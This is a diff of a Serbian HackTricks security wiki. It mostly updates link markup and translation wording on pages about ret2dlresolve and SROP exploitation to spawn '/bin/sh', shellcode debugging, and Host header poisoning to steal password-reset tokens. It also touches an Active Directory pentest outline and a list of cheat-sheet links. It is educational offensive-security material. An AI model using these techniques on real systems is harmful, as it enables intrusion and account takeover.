|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,20 +4,22 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Kao što je objašnjeno na stranici o [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) i [**Relro**](../common-binary-protections-and-bypasses/relro.md), binarni fajlovi bez Full Relro će rešavati simbole (kao što su adrese do eksternih biblioteka) prvi put kada se koriste. Ova rezolucija se dešava pozivanjem funkcije **`_dl_runtime_resolve`**.
|
||||
Kao što je objašnjeno na stranici o [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) i [**Relro**](../common-binary-protections-and-bypasses/relro.md), binarni fajlovi bez Full Relro će rešavati simbole (kao što su adrese do spoljašnjih biblioteka) prvi put kada se koriste. Ova rezolucija se dešava pozivanjem funkcije **`_dl_runtime_resolve`**.
|
||||
|
||||
Funkcija **`_dl_runtime_resolve`** uzima sa steka reference na neke strukture koje su joj potrebne da bi rešila određeni simbol.
|
||||
|
||||
Stoga, moguće je **falsifikovati sve te strukture** kako bi dinamički povezano rešavanje traženog simbola (kao što je funkcija **`system`**) i pozvati je sa konfigurisanom parametrima (npr. **`system('/bin/sh')`**).
|
||||
|
||||
Obično, sve te strukture se falsifikuju pravljenjem **početnog ROP lanca koji poziva `read`** preko zapisive memorije, zatim se **strukture** i string **`'/bin/sh'`** prosleđuju tako da ih `read` skladišti na poznatoj lokaciji, a zatim ROP lanac nastavlja pozivajući **`_dl_runtime_resolve`** sa adresom do `$'/bin/sh'`.
|
||||
Obično, sve te strukture se falsifikuju pravljenjem **početnog ROP lanca koji poziva `read`** preko zapisive memorije, zatim se **strukture** i string **`'/bin/sh'`** prosleđuju kako bi ih read sačuvao na poznatoj lokaciji, a zatim ROP lanac nastavlja pozivajući **`_dl_runtime_resolve`** sa adresom do `$'/bin/sh'`.
|
||||
|
||||
> [!TIP]
|
||||
> Ova tehnika je posebno korisna ako ne postoje syscall gadgeti (da se koriste tehnike kao što su [**ret2syscall**](rop-syscall-execv.md) ili [SROP](srop-sigreturn-oriented-programming.md)) i nema načina da se procure libc adrese.
|
||||
> Ova tehnika je posebno korisna ako nema syscall gadgeta (da se koriste tehnike kao što su [**ret2syscall**](rop-syscall-execv.md) ili [SROP](srop-sigreturn-oriented-programming.md)) i nema načina da se procure libc adrese.
|
||||
|
||||
Možete pronaći bolje objašnjenje o ovoj tehnici u drugoj polovini videa:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Strukture
|
||||
|
||||
@ -33,7 +35,7 @@ Potrebno je falsifikovati 3 strukture: **`JMPREL`**, **`STRTAB`** i **`SYMTAB`**
|
||||
|
||||
## Primer
|
||||
|
||||
Možete pronaći [**primer ove tehnike ovde**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **koji sadrži veoma dobro objašnjenje konačnog ROP lanca**, ali ovde je konačni exploit koji je korišćen:
|
||||
Možete pronaći [**primer ove tehnike ovde**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **koji sadrži veoma dobro objašnjenje finalnog ROP lanca**, ali ovde je finalni exploit koji je korišćen:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -4,16 +4,16 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
**`Sigreturn`** je posebna **syscall** koja se prvenstveno koristi za čišćenje nakon što signalni handler završi svoju izvršavanje. Signali su prekidi koje operativni sistem šalje programu, često da bi označili da se dogodila neka izuzetna situacija. Kada program primi signal, privremeno pauzira svoj trenutni rad da bi obradio signal pomoću **signal handler-a**, posebne funkcije dizajnirane za rukovanje signalima.
|
||||
**`Sigreturn`** je posebna **syscall** koja se prvenstveno koristi za čišćenje nakon što signalni handler završi svoju izvršavanje. Signali su prekidi koje operativni sistem šalje programu, često da bi ukazali na to da se dogodila neka izuzetna situacija. Kada program primi signal, privremeno pauzira svoj trenutni rad da bi obradio signal pomoću **signal handler-a**, posebne funkcije dizajnirane za rukovanje signalima.
|
||||
|
||||
Nakon što signalni handler završi, program treba da **nastavi svoje prethodno stanje** kao da se ništa nije dogodilo. Tu dolazi do izražaja **`sigreturn`**. Pomaže programu da **vrati iz signal handler-a** i obnavlja stanje programa čišćenjem steka (odeljak memorije koji čuva pozive funkcija i lokalne promenljive) koji je koristio signalni handler.
|
||||
|
||||
Zanimljiv deo je kako **`sigreturn`** obnavlja stanje programa: to čini tako što čuva **sve vrednosti CPU registara na steku.** Kada signal više nije blokiran, **`sigreturn`** uklanja te vrednosti sa steka, efikasno resetujući registre CPU-a na njihov stanje pre nego što je signal obrađen. Ovo uključuje registar pokazivača steka (RSP), koji pokazuje na trenutni vrh steka.
|
||||
Zanimljiv deo je kako **`sigreturn`** obnavlja stanje programa: to čini tako što čuva **sve vrednosti CPU registara na steku.** Kada signal više nije blokiran, **`sigreturn` uklanja ove vrednosti sa steka**, efikasno resetujući registre CPU-a na njihov stanje pre nego što je signal obrađen. Ovo uključuje registar pokazivača steka (RSP), koji pokazuje na trenutni vrh steka.
|
||||
|
||||
> [!CAUTION]
|
||||
> Pozivanje syscall-a **`sigreturn`** iz ROP lanca i **dodavanje registarskih vrednosti** koje bismo želeli da učitamo u **stek** omogućava nam da **kontrolišemo** sve registarske vrednosti i stoga **pozovemo** na primer syscall `execve` sa `/bin/sh`.
|
||||
|
||||
Obratite pažnju na to kako bi ovo bila **vrsta Ret2syscall** koja olakšava kontrolu parametara za pozivanje drugih Ret2syscall-a:
|
||||
Napomena kako bi ovo bila **vrsta Ret2syscall** koja olakšava kontrolu parametara za pozivanje drugih Ret2syscall-a:
|
||||
|
||||
{{#ref}}
|
||||
rop-syscall-execv.md
|
||||
@ -21,7 +21,9 @@ rop-syscall-execv.md
|
||||
|
||||
Za bolje objašnjenje pogledajte takođe:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Primer
|
||||
|
||||
|
@ -142,7 +142,7 @@ Primetite da kada je izvršenje zaustavljeno iz bilo kog razloga u win64dbg mož
|
||||
|
||||
Zatim, gledajući ovo možete videti kada je izvršenje zaustavljeno u DLL-u koji želite da debagujete.
|
||||
|
||||
## GUI Aplikacije / Video igre
|
||||
## GUI aplikacije / Video igre
|
||||
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) je koristan program za pronalaženje gde su važni podaci sačuvani unutar memorije pokrenute igre i njihovu promenu. Više informacija u:
|
||||
|
||||
@ -150,13 +150,15 @@ Zatim, gledajući ovo možete videti kada je izvršenje zaustavljeno u DLL-u koj
|
||||
cheat-engine.md
|
||||
{{#endref}}
|
||||
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) je front-end/alati za reverzno inženjerstvo za GNU Project Debugger (GDB), fokusiran na igre. Međutim, može se koristiti za bilo šta vezano za reverzno inženjerstvo.
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) je front-end/reverzno inženjerski alat za GNU Project Debugger (GDB), fokusiran na igre. Međutim, može se koristiti za bilo šta vezano za reverzno inženjerstvo.
|
||||
|
||||
[**Decompiler Explorer**](https://dogbolt.org/) je web front-end za nekoliko dekompilatora. Ova web usluga vam omogućava da uporedite izlaz različitih dekompilatora na malim izvršnim datotekama.
|
||||
|
||||
## ARM & MIPS
|
||||
|
||||
{% embed url="https://github.com/nongiach/arm_now" %}
|
||||
{{#ref}}
|
||||
https://github.com/nongiach/arm_now
|
||||
{{#endref}}
|
||||
|
||||
## Shellcodes
|
||||
|
||||
@ -165,7 +167,7 @@ cheat-engine.md
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) će **alokovati** **shellcode** unutar prostora memorije, **pokazaće** vam **adresu memorije** gde je shellcode alokovan i **zaustaviće** izvršenje.\
|
||||
Zatim, trebate **priključiti debager** (Ida ili x64dbg) na proces i postaviti **breakpoint na naznačenoj adresi memorije** i **nastaviti** izvršenje. Na ovaj način ćete debagovati shellcode.
|
||||
|
||||
Stranica sa izdanjima na github-u sadrži zip-ove koji sadrže kompajlirane verzije: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Stranica sa izdanjima na github-u sadrži zip-ove sa kompajliranim izdanjima: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Možete pronaći malo izmenjenu verziju Blobrunner-a na sledećem linku. Da biste je kompajlirali, jednostavno **napravite C/C++ projekat u Visual Studio Code, kopirajte i nalepite kod i izgradite ga**.
|
||||
|
||||
{{#ref}}
|
||||
@ -174,7 +176,7 @@ blobrunner.md
|
||||
|
||||
### Debagovanje shellcode-a sa jmp2it
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) je vrlo sličan blobrunner-u. On će **alokovati** **shellcode** unutar prostora memorije i započeti **večnu petlju**. Zatim trebate **priključiti debager** na proces, **pokrenuti, sačekati 2-5 sekundi i pritisnuti stop** i naći ćete se unutar **večne petlje**. Preskočite na sledeću instrukciju večne petlje jer će to biti poziv na shellcode, i na kraju ćete se naći kako izvršavate shellcode.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) je vrlo sličan blobrunner-u. On će **alokovati** **shellcode** unutar prostora memorije i započeti **večnu petlju**. Zatim trebate **priključiti debager** na proces, **pritisnuti start, sačekati 2-5 sekundi i pritisnuti stop** i naći ćete se unutar **večite petlje**. Preskočite na sledeću instrukciju večite petlje jer će to biti poziv na shellcode, i na kraju ćete se naći kako izvršavate shellcode.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -214,7 +216,7 @@ scDbg takođe ima grafički pokretač gde možete odabrati opcije koje želite i
|
||||
|
||||
.png>)
|
||||
|
||||
Opcija **Create Dump** će dumpovati konačni shellcode ako se bilo koja promena izvrši na shellcode-u dinamički u memoriji (korisno za preuzimanje dekodiranog shellcode-a). **Start offset** može biti koristan za pokretanje shellcode-a na specifičnom offset-u. Opcija **Debug Shell** je korisna za debagovanje shellcode-a koristeći scDbg terminal (međutim, smatram da su bilo koje od opcija objašnjenih pre bolje za ovu svrhu jer ćete moći da koristite Ida ili x64dbg).
|
||||
Opcija **Create Dump** će dumpovati konačni shellcode ako se bilo koja promena izvrši na shellcode-u dinamički u memoriji (korisno za preuzimanje dekodiranog shellcode-a). **Start offset** može biti koristan za pokretanje shellcode-a na specifičnom offsetu. Opcija **Debug Shell** je korisna za debagovanje shellcode-a koristeći scDbg terminal (međutim, smatram da su bilo koje od opcija objašnjenih pre bolje za ovu svrhu jer ćete moći da koristite Ida ili x64dbg).
|
||||
|
||||
### Disassembling using CyberChef
|
||||
|
||||
@ -222,19 +224,19 @@ Otpremite svoj shellcode fajl kao ulaz i koristite sledeći recept za dekompilac
|
||||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
Ovaj obfuskator **modifikuje sve instrukcije za `mov`** (da, stvarno kul). Takođe koristi prekide za promenu toka izvršenja. Za više informacija o tome kako to funkcioniše:
|
||||
Ovaj obfuskator **modifikuje sve instrukcije za `mov`** (da, stvarno kul). Takođe koristi prekide za promenu toka izvršenja. Za više informacija o tome kako funkcioniše:
|
||||
|
||||
- [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY)
|
||||
- [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf)
|
||||
|
||||
Ako imate sreće, [demovfuscator](https://github.com/kirschju/demovfuscator) će deobfuskovati binarni fajl. Ima nekoliko zavisnosti
|
||||
Ako imate sreće, [demovfuscator](https://github.com/kirschju/demovfuscator) će deofuskovati binarni fajl. Ima nekoliko zavisnosti
|
||||
```
|
||||
apt-get install libcapstone-dev
|
||||
apt-get install libz3-dev
|
||||
```
|
||||
I [instalirajte keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
||||
|
||||
Ako igrate **CTF, ovo rešenje za pronalaženje zastavice** može biti veoma korisno: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
Ako igrate **CTF, ova zaobilaznica za pronalaženje zastavice** može biti veoma korisna: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
|
||||
## Rust
|
||||
|
||||
@ -243,25 +245,25 @@ Da pronađete **ulaznu tačku** pretražujte funkcije po `::main` kao u:
|
||||
.png>)
|
||||
|
||||
U ovom slučaju, binarni fajl se zvao authenticator, tako da je prilično očigledno da je ovo zanimljiva glavna funkcija.\
|
||||
Imajući **ime** funkcija koje se pozivaju, pretražujte ih na **Internetu** da biste saznali više o njihovim **ulazima** i **izlazima**.
|
||||
Imajući **ime** **funkcija** koje se pozivaju, pretražujte ih na **Internetu** da biste saznali više o njihovim **ulazima** i **izlazima**.
|
||||
|
||||
## **Delphi**
|
||||
|
||||
Za Delphi kompajlirane binarne fajlove možete koristiti [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
||||
|
||||
Ako morate da obrnite Delphi binarni fajl, preporučujem da koristite IDA plugin [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
Ako morate da obrnite Delphi binarni fajl, preporučujem da koristite IDA dodatak [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
|
||||
Samo pritisnite **ATL+f7** (import python plugin u IDA) i izaberite python plugin.
|
||||
Samo pritisnite **ATL+f7** (importujte python dodatak u IDA) i izaberite python dodatak.
|
||||
|
||||
Ovaj plugin će izvršiti binarni fajl i dinamički rešiti imena funkcija na početku debagovanja. Nakon pokretanja debagovanja ponovo pritisnite dugme Start (zeleno ili f9) i breakpoint će se aktivirati na početku pravog koda.
|
||||
Ovaj dodatak će izvršiti binarni fajl i dinamički rešiti imena funkcija na početku debagovanja. Nakon pokretanja debagovanja ponovo pritisnite dugme Start (zeleno ili f9) i breakpoint će se aktivirati na početku pravog koda.
|
||||
|
||||
Takođe je veoma zanimljivo jer ako pritisnete dugme u grafičkoj aplikaciji, debager će se zaustaviti u funkciji koja je izvršena tim dugmetom.
|
||||
|
||||
## Golang
|
||||
|
||||
Ako morate da obrnite Golang binarni fajl, preporučujem da koristite IDA plugin [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
Ako morate da obrnite Golang binarni fajl, preporučujem da koristite IDA dodatak [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
|
||||
Samo pritisnite **ATL+f7** (import python plugin u IDA) i izaberite python plugin.
|
||||
Samo pritisnite **ATL+f7** (importujte python dodatak u IDA) i izaberite python dodatak.
|
||||
|
||||
Ovo će rešiti imena funkcija.
|
||||
|
||||
@ -279,10 +281,10 @@ Ako dobijete **binarni** fajl GBA igre, možete koristiti različite alate za **
|
||||
|
||||
- [**no$gba**](https://problemkaputt.de/gba.htm) (_Preuzmite debug verziju_) - Sadrži debager sa interfejsom
|
||||
- [**mgba** ](https://mgba.io)- Sadrži CLI debager
|
||||
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra plugin
|
||||
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra plugin
|
||||
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra dodatak
|
||||
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra dodatak
|
||||
|
||||
U [**no$gba**](https://problemkaputt.de/gba.htm), u _**Options --> Emulation Setup --> Controls**_\*\* \*\* možete videti kako da pritisnete dugmadi Game Boy Advance
|
||||
U [**no$gba**](https://problemkaputt.de/gba.htm), u _**Options --> Emulation Setup --> Controls**_\*\* \*\* možete videti kako pritisnuti dugmadi Game Boy Advance **dugmad**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -299,7 +301,7 @@ DOWN = 128
|
||||
R = 256
|
||||
L = 256
|
||||
```
|
||||
Dakle, u ovakvom programu, zanimljiv deo će biti **kako program obrađuje korisnički unos**. Na adresi **0x4000130** ćete pronaći funkciju koja se često sreće: **KEYINPUT**.
|
||||
Dakle, u ovom tipu programa, zanimljiv deo će biti **kako program obrađuje korisnički unos**. Na adresi **0x4000130** naći ćete funkciju koja se često sreće: **KEYINPUT**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -371,7 +373,7 @@ U prethodnom kodu možete videti da upoređujemo **uVar1** (mesto gde se nalazi
|
||||
- Prvo, upoređuje se sa **vrednost 4** (**SELECT** dugme): U izazovu ovo dugme briše ekran.
|
||||
- Zatim, upoređuje se sa **vrednost 8** (**START** dugme): U izazovu ovo proverava da li je kod validan za dobijanje zastavice.
|
||||
- U ovom slučaju var **`DAT_030000d8`** se upoređuje sa 0xf3 i ako je vrednost ista, neki kod se izvršava.
|
||||
- U svim drugim slučajevima, proverava se neki kont (`DAT_030000d4`). To je kont jer dodaje 1 odmah nakon ulaska u kod.\
|
||||
- U svim drugim slučajevima, neki kont (`DAT_030000d4`) se proverava. To je kont jer dodaje 1 odmah nakon ulaska u kod.\
|
||||
**Ako** je manje od 8, nešto što uključuje **dodavanje** vrednosti u \*\*`DAT_030000d8` \*\* se radi (u suštini dodaje vrednosti pritisnutih tastera u ovoj varijabli sve dok je kont manji od 8).
|
||||
|
||||
Dakle, u ovom izazovu, znajući vrednosti dugmadi, trebalo je da **pritisnete kombinaciju dužine manje od 8 koja rezultira sabiranjem 0xf3.**
|
||||
@ -380,11 +382,13 @@ Dakle, u ovom izazovu, znajući vrednosti dugmadi, trebalo je da **pritisnete ko
|
||||
|
||||
## Game Boy
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=VVbRe7wr3G4
|
||||
{{#endref}}
|
||||
|
||||
## Kursevi
|
||||
|
||||
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
|
||||
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binarna deobfuskacija)
|
||||
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
4
src/robots.txt
Normal file
4
src/robots.txt
Normal file
@ -0,0 +1,4 @@
|
||||
Sitemap: https://www.hacktricks.wiki/sitemap.xml
|
||||
|
||||
User-agent: *
|
||||
Disallow:
|
@ -48,7 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
{{#ref}}
|
||||
https://codewithrockstar.com/
|
||||
{{#endref}}
|
||||
|
||||
## PETOOH
|
||||
```
|
||||
|
@ -10,7 +10,9 @@
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload za izvršavanje komandi i preuzimanje izlaza putem DNS zahteva ka burpcollab.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
### Host header
|
||||
|
||||
Nekoliko puta back-end veruje **Host header** da izvrši neke radnje. Na primer, može koristiti njegovu vrednost kao **domen za slanje resetovanja lozinke**. Tako kada primite email sa linkom za resetovanje lozinke, domen koji se koristi je onaj koji ste stavili u Host header. Tada možete zatražiti resetovanje lozinke drugih korisnika i promeniti domen na onaj koji kontrolišete kako biste ukrali njihove kodove za resetovanje lozinke. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Nekoliko puta back-end veruje **Host header** da izvrši neke radnje. Na primer, može koristiti njegovu vrednost kao **domen za slanje resetovanja lozinke**. Tako kada primite email sa linkom za resetovanje lozinke, domen koji se koristi je onaj koji ste stavili u Host header. Tada možete zatražiti resetovanje lozinke drugih korisnika i promeniti domen na onaj koji kontrolišete da biste ukrali njihove kodove za resetovanje lozinke. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da je moguće da ne morate ni da čekate da korisnik klikne na link za resetovanje lozinke da biste dobili token, jer možda čak i **spam filteri ili drugi posrednički uređaji/botovi će kliknuti na njega da ga analiziraju**.
|
||||
> Imajte na umu da je moguće da ne morate ni da čekate da korisnik klikne na link za resetovanje lozinke da biste dobili token, jer možda čak i **spam filteri ili drugi posrednički uređaji/botovi će kliknuti na njega da bi ga analizirali**.
|
||||
|
||||
### Session booleans
|
||||
|
||||
Nekada kada ispravno završite neku verifikaciju, back-end će **samo dodati boolean sa vrednošću "True" u sigurnosnu atribut vaše sesije**. Tada, druga tačka će znati da ste uspešno prošli tu proveru.\
|
||||
Nekada kada ispravno završite neku verifikaciju, back-end će **samo dodati boolean sa vrednošću "True" u sigurnosnu atribut vaše sesije**. Tada, druga tačka će znati da li ste uspešno prošli tu proveru.\
|
||||
Međutim, ako **prođete proveru** i vašoj sesiji je dodeljena ta "True" vrednost u sigurnosnom atributu, možete pokušati da **pristupite drugim resursima** koji **zavise od istog atributa** ali za koje **ne biste trebali imati dozvole** za pristup. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Register functionality
|
||||
@ -24,7 +24,9 @@ Registrujte email, pre nego što ga potvrdite promenite email, zatim, ako je nov
|
||||
|
||||
### Access Internal servicedesk of companies using atlassian
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### TRACE method
|
||||
|
||||
|
@ -1,49 +1,95 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.thehacker.recipes/" %}
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hideandsec.sh/" %}
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://infosecwriteups.com/" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.exploit-db.com/" %}
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://wadcoms.github.io/" %}
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://lolbas-project.github.io" %}
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.hackingarticles.in/" %}
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestlab.blog/" %}
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -22,7 +22,7 @@ Ključni koncepti unutar **Active Directory** uključuju:
|
||||
2. **Usluge sertifikata** – Nadgleda kreiranje, distribuciju i upravljanje sigurnim **digitalnim sertifikatima**.
|
||||
3. **Lagana direktorijumska usluga** – Podržava aplikacije omogućene direktorijumom putem **LDAP protokola**.
|
||||
4. **Usluge federacije direktorijuma** – Pruža mogućnosti **jednostavnog prijavljivanja** za autentifikaciju korisnika preko više web aplikacija u jednoj sesiji.
|
||||
5. **Upravljanje pravima** – Pomaže u zaštiti autorskih materijala regulisanjem njihove neovlašćene distribucije i korišćenja.
|
||||
5. **Upravljanje pravima** – Pomaže u zaštiti autorskih prava regulisanjem njihove neovlašćene distribucije i korišćenja.
|
||||
6. **DNS usluga** – Ključna za rešavanje **domen imena**.
|
||||
|
||||
Za detaljnije objašnjenje pogledajte: [**TechTerms - Definicija Active Directory**](https://techterms.com/definition/active_directory)
|
||||
@ -41,7 +41,7 @@ Možete posetiti [https://wadcoms.github.io/](https://wadcoms.github.io) da bist
|
||||
Ako imate pristup AD okruženju, ali nemate nikakve kredencijale/sesije, možete:
|
||||
|
||||
- **Pentestovati mrežu:**
|
||||
- Skenirati mrežu, pronaći mašine i otvorene portove i pokušati da **eksploatišete ranjivosti** ili **izvučete kredencijale** iz njih (na primer, [štampači bi mogli biti veoma zanimljivi ciljevi](ad-information-in-printers.md)).
|
||||
- Skenirajte mrežu, pronađite mašine i otvorene portove i pokušajte da **eksploatišete ranjivosti** ili **izvučete kredencijale** iz njih (na primer, [štampači bi mogli biti veoma zanimljivi ciljevi](ad-information-in-printers.md)).
|
||||
- Enumeracija DNS-a može dati informacije o ključnim serverima u domenu kao što su web, štampači, deljenja, vpn, mediji, itd.
|
||||
